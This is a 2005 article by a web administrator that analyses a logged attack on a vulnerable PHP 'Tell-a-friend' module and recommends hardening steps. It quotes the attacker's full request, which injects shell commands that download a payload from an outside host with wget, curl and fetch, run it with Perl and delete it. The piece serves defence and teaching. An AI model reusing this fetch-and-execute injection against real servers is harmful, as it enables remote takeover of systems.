Anatomy of a Web Attack

by Ed Sawicki
Accelerated Learning Center
Tailored Computers

October 24, 2005

At the October meeting, I mentioned that I avoid using PHP-based Web apps because of the higher than normal security risk and the proliferation of awful PHP code in the world. A few days later, I noticed that an eCommerce Web site that I admin (but didn't design) was attacked. Though no damage was done in this case, it's an opportunity to see how attacks against Web apps are conducted.

The site is based on LAMP - Linux/Apache/MySQL/PHP. I noticed from the logs that we were being attacked. The attacker was trying to exploit security holes in a popular PHP module called Tell-a-friend. There were many entries in the Apache log as the attacker tried to find the vulnerable module on our system. Here's one of those entries that I split over several lines for legibility:

211.38.128.10 - "GET /Tell-a-friend/inc/tell_a_friend.inc.php
?script_root=http://82.165.168.163/catalog/images/fbi.gif?&cmd=
cd /tmp;
wget http://82.165.32.233/images/sess_3539283e27d73cae29fe2b80f9293f60;
curl -O http://82.165.32.233/images/sess_3539283e27d73cae29fe2b80f9293f60;
fetch http://82.165.32.233/images/sess_3539283e27d73cae29fe2b80f9293f60;
perl sess_3539283e27d73cae29fe2b80f9293f60;
rm -rf sess* HTTP/1.1" 404 15523

The first line shows the beginning of an HTTP request for the vulnerable PHP module. This attack succeeds because this module accepts the remainder of the request (starting at line 2) as valid user input. This is a far too common problem with PHP code. The first line also tells us that the attack originated from South Korea. You can tell by doing a whois lookup on the IP address.

The third line makes /tmp the current directory. The fourth, fifth, and sixth lines attempt to download a file (called sess_3539...) from a Web site in Germany using the wget, curl, and fetch programs. The wget and curl programs are commonly found on Linux systems - the fetch program is less common. All are used to download files using the HTTP or FTP protocols. The attacker doesn't know which are installed on the system, so he tries them all. If more than one are present, the file is downloaded more than once.

The seventh line calls Perl to execute the downloaded program. I won't go into what this particular Perl program does since it can easily be different for other attacks and it's not germane to how the basic attack is conducted. Perl is commonly found on Linux systems. The last line deletes the Perl program once it's done its evil deed.

The obvious way to protect against this attack is to update the vulnerable PHP module but you may be attacked before you know the module is vulnerable. In my case, I'm not interested in keeping up with PHP security issues on a daily basis - I prefer to use more secure platforms and less admin-intensive techniques. So, what can you do to thwart attacks like this?

You can do numerous things - some of which you'll find unacceptable if the system is a general purpose server that also happens to be running a Web app. The first thing you can do is to put the Web app on its own server, which could be a virtual machine running on the computer. Then consider doing these things:

  1. Remove Perl from the computer if it's not needed by the Web app. The attacker can't execute the downloaded program. Of course, the attacker could use something else to run his script, such as the shell (sh, bash, etc.). The idea is that the Web apps should run in as minimalistic an environment as possible.
  2. Deny the attacker access to the wget, curl, and fetch programs. You can delete them, rename them, remove them from the path, or modify their permissions so they can't be executed by the Apache user - the user that the Apache child processes are running as.
  3. Modify firewall rules so the server cannot originate HTTP connections with the outside world. You would, of course, still allow HTTP connections from the outside.

I would go beyond these suggestions. I'd put the Web app in an immutable file system so the attacker cannot modify the Web app code. I'd make the Web app server a sealed system. Clearly, all of the suggestions mentioned above require that the Web app must be developed in a different environment than the production environment.

I would also not use PHP Web apps that have a history of security issues. Like Windows, it's a good sign that they were designed with little consideration of security issues and now the designers are trying to patch the problems as they're discovered - a process that can take a very long time and be very expensive.

Back